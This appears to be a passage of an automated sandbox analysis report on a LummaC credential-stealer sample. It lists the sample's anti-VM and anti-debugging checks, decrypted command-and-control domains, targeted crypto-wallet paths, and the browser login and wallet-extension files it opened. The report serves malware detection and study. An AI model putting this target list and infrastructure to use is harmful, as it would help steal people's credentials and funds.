Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-61397

Source: C:\Users\user\Desktop\chu4rWexSX.exe

API coverage: 4.9 %

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe TID: 6192

Thread sleep time: -120000s >= -30000s

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_004356A2 FindFirstFileExW,		0_2_004356A2
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00775909 FindFirstFileExW,		0_2_00775909

Source: Amcache.hve.10.dr	Binary or memory string: VMware
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: chu4rWexSX.exe, 00000000.00000002.3929242522.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(a
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Amcache.hve.10.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: chu4rWexSX.exe, 00000000.00000002.3929242522.000000000085E000.00000004.00000020.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2850712370.00000000010A6000.00000004.00000020.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000002.3111992330.00000000010A6000.00000004.00000020.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000002.3111992330.000000000105E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Amcache.hve.10.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: chu4rWexSX.exe, 00000000.00000002.3929242522.000000000086D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\6
Source: Amcache.hve.10.dr	Binary or memory string: vmci.sys
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.10.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Amcache.hve.10.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.10.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Amcache.hve.10.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.10.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Amcache.hve.10.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: Amcache.hve.10.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual USB Mouse
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.10.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.10.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Amcache.hve.10.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.10.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: 92F8.tmp.exe, 00000003.00000003.2863186117.0000000003A04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Amcache.hve.10.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.10.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.10.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Amcache.hve.10.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: chu4rWexSX.exe, 00000000.00000002.3929242522.000000000086D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}<
Source: Amcache.hve.10.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: 92F8.tmp.exe, 00000003.00000003.2863270005.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

API call chain: ExitProcess graph end node

graph_3-13679

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Code function: 3_2_00D92080 LdrInitializeThunk,

3_2_00D92080

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Code function: 0_2_00427083 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00427083

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Code function: 0_2_0041B8FE LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0041B8FE

Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0042CB0F mov eax, dword ptr fs:[00000030h]	0_2_0042CB0F
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00700083 push dword ptr fs:[00000030h]	0_2_00700083
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0074092B mov eax, dword ptr fs:[00000030h]	0_2_0074092B
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0076CD76 mov eax, dword ptr fs:[00000030h]	0_2_0076CD76
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00740D90 mov eax, dword ptr fs:[00000030h]	0_2_00740D90

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Code function: 0_2_00438871 GetProcessHeap,

0_2_00438871

Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00427083 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00427083
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0040D173 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040D173
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0040D306 SetUnhandledExceptionFilter,	0_2_0040D306
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0040C5B2 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040C5B2
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_007672EA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_007672EA
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0074D3DA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0074D3DA
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0074D56D SetUnhandledExceptionFilter,	0_2_0074D56D
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0074C819 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0074C819

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: 92F8.tmp.exe, 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: cloudewahsj.shop
Source: 92F8.tmp.exe, 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: rabidcowse.shop
Source: 92F8.tmp.exe, 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: noisycuttej.shop
Source: 92F8.tmp.exe, 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: tirepublicerj.shop
Source: 92F8.tmp.exe, 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: framekgirus.shop
Source: 92F8.tmp.exe, 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: wholersorie.shop
Source: 92F8.tmp.exe, 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: abruptyopsn.shop
Source: 92F8.tmp.exe, 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: nearycrepso.shop
Source: 92F8.tmp.exe, 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: skidjazzyric.click

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Process created: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe "C:\Users\user~1\AppData\Local\Temp\92F8.tmp.exe"

Jump to behavior

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Code function: 0_2_0040D41B cpuid

0_2_0040D41B

Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: EnumSystemLocalesW,	0_2_00438018
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_004380A5
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: GetLocaleInfoW,	0_2_004382F5
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0043841E
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: GetLocaleInfoW,	0_2_00438525
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_004385F2
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: EnumSystemLocalesW,	0_2_00431A7D
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_00437CBA
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: GetLocaleInfoW,	0_2_00431E70
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: EnumSystemLocalesW,	0_2_00437F7D
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: EnumSystemLocalesW,	0_2_00437F32
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: GetLocaleInfoW,	0_2_007720D7
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: EnumSystemLocalesW,	0_2_007781E4
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: EnumSystemLocalesW,	0_2_00778199
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: EnumSystemLocalesW,	0_2_0077827F
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: GetLocaleInfoW,	0_2_00778553
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: GetLocaleInfoW,	0_2_0077855C
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00778685
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: GetLocaleInfoW,	0_2_0077878C
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00778859
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: EnumSystemLocalesW,	0_2_00771CE4
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_00777F21

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Code function: 0_2_0040D06D GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_0040D06D

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Code function: 0_2_0041308A GetVersionExW,Concurrency::details::platform::InitializeSystemFunctionPointers,Concurrency::details::WinRT::Initialize,__CxxThrowException@8,

0_2_0041308A

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.10.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 92F8.tmp.exe PID: 640, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 92F8.tmp.exe, 00000003.00000002.3111992330.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: 92F8.tmp.exe, 00000003.00000002.3111992330.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 92F8.tmp.exe, 00000003.00000002.3111992330.0000000001067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 92F8.tmp.exe, 00000003.00000002.3111992330.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 92F8.tmp.exe, 00000003.00000002.3111992330.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 92F8.tmp.exe, 00000003.00000002.3111992330.000000000109A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: 92F8.tmp.exe, 00000003.00000002.3111992330.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: 92F8.tmp.exe, 00000003.00000002.3111992330.0000000001067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 92F8.tmp.exe, 00000003.00000002.3111992330.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: }],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Walle

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
